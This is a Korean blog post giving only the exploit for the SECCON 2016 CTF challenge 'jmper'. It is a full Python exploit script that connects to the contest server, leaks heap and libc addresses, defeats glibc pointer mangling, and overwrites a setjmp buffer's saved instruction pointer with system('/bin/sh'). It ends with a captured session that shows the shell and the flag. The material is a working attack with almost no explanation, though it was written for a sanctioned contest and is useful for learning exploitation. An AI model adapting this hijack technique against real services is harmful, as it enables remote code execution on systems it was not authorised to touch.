본문 바로가기
Security/[게임] CTF 풀이

[exploit] 2016 SecconCTF - jmper writeups (exploit only)

by blackcon 2016. 12. 11.
#!/usr/bin/env python
import socket
import telnetlib
import struct
from collections import deque

p = lambda x:    struct.pack( "<I", x )
up = lambda x:  struct.unpack( "<I", x )[0]
host = "localhost"
host = "jmper.pwn.seccon.jp"
port = 5656
s =  socket.socket( socket.AF_INET, socket.SOCK_STREAM )
s.connect( ( host, port ) )

def u_recv( st ):
    bf = ''
    while st not in bf:
        bf += s.recv( 1 )
    return bf

def ror( val,rotate ):
    d = deque(list(bin(val)[2:]))
    d.rotate(rotate)
    return int( "".join(list(d)), 2)

for i in range( 30 ):
    u_recv( "6. Bye :)" )
    s.send( "1\n" )

## stage 1: leak the heap addr
u_recv( "6. Bye :)" )
s.send( "3\n" )
u_recv( "ID:" )
s.send( "0\n" )
u_recv( "Input memo:" )
s.send( "a"*32 + "\n" )

u_recv( "6. Bye :)" )
s.send( "5\n" )
u_recv( "ID:" )
s.send( "0\n" )
data = s.recv( 1024 )
data = data.split( "a"*32 )[1]
heap = up(data.split( "1." )[0])
jmpbuf = heap-0x110
print hex( heap )

## stage 2:leak the puts@got
u_recv( "6. Bye :)" )
s.send( "3\n" )
u_recv( "ID:" )
s.send( "1\n" )
u_recv( "Input memo:" )
s.send( "a"*32 + "\x78" )

u_recv( "6. Bye :)" )
s.send( "2\n" )
u_recv( "ID:" )
s.send( "1\n" )
u_recv( "Input name:" )
s.send( p( 0x601fa0 )+"\n" ) # puts@got: 0x601fa0

u_recv( "6. Bye :)" )
s.send( "4\n" )
u_recv( "ID:" )
s.send( "1\n" )
base = s.recv(6)
while len(base)<8:
    base += "\x00"
base = struct.unpack("<Q", base)[0]-0x6fd60 #puts_offset: 0x6fd60
system = base+0x46590 # system_offset: 0x46590
print map( hex, [base, system] )


## stage 3:
u_recv( "6. Bye :)" )
s.send( "3\n" )
u_recv( "ID:" )
s.send( "0\n" )
u_recv( "Input memo:" )
s.send( "a"*32 + "\x08" )

u_recv( "6. Bye :)" )
s.send( "2\n" )
u_recv( "ID:" )
s.send( "0\n" )
u_recv( "Input name:" )
s.send( p( jmpbuf+0x28 )+"\n" )

## stage 4:leak the randomvalue(fs:30)
pay = "a"*0x8
u_recv( "6. Bye :)" )
s.send( "2\n" )
u_recv( "ID:" )
s.send( "0\n" )
u_recv( "Input name:" )
s.send( pay+"\n" )

u_recv( "6. Bye :)" )
s.send( "4\n" )
u_recv( "ID:" )
s.send( "0\n" )
leak = u_recv( "1. Add student." )
leak = leak.split( pay )[1]
leak = struct.unpack( "<Q", leak.split( "1. Add student." )[0][8:] )[0]

t = bin(leak)[2:]
t = '0'*(64-len(t)) + t
for i in range(0x11):
       t = t[-1] + t[:-1]
       rnd = int(t,2) ^ 0x400c31

## stage 5: write the new_rip
u_recv( "6. Bye :)" )
s.send( "3\n" )
u_recv( "ID:" )
s.send( "0\n" )
u_recv( "Input memo:" )
s.send( "a"*32 + "\x48" )
u_recv( "6. Bye :)" )
s.send( "2\n" )
u_recv( "ID:" )
s.send( "0\n" )
u_recv( "Input name:" )
s.send( p( jmpbuf+0x38 )+"\n" )

t = system ^ rnd
t = bin(t)[2:]
t = '0'*(64-len(t)) + t
for i in range(0x11):
       t = t[1:] + t[0]
       new_rip = int(t,2)

new_rip = struct.pack( "<Q", new_rip )
u_recv( "6. Bye :)" )
s.send( "2\n" )
u_recv( "ID:" )
s.send( "0\n" )
u_recv( "Input name:" )
s.send( new_rip+"\n" )

## stage 6: write the cmd
u_recv( "6. Bye :)" )
s.send( "3\n" )
u_recv( "ID:" )
s.send( "0\n" )
u_recv( "Input memo:" )
s.send( "a"*32 + "\x10" )
u_recv( "6. Bye :)" )
s.send( "2\n" )
u_recv( "ID:" )
s.send( "0\n" )
u_recv( "Input name:" )
s.send( p( jmpbuf )+"\n" )

cmd = "/bin/sh\x00"
u_recv( "6. Bye :)" )
s.send( "2\n" )
u_recv( "ID:" )
s.send( "0\n" )
u_recv( "Input name:" )
s.send( cmd+"\n" )

u_recv( "6. Bye :)" )
s.send( "1\n" )

t = telnetlib.Telnet()
t.sock = s
t.interact()

'''
blackcon@bk{~/seccon/exploit/jmper}:./pay.py
0x243d220
['0x7f704f704000', '0x7f704f74a590']

Exception has occurred. Jump!
id
uid=10987 gid=10000 groups=10000
ls
flag
jmper
cat flag
SECCON{3nj0y_my_jmp1n9_serv1ce}
'''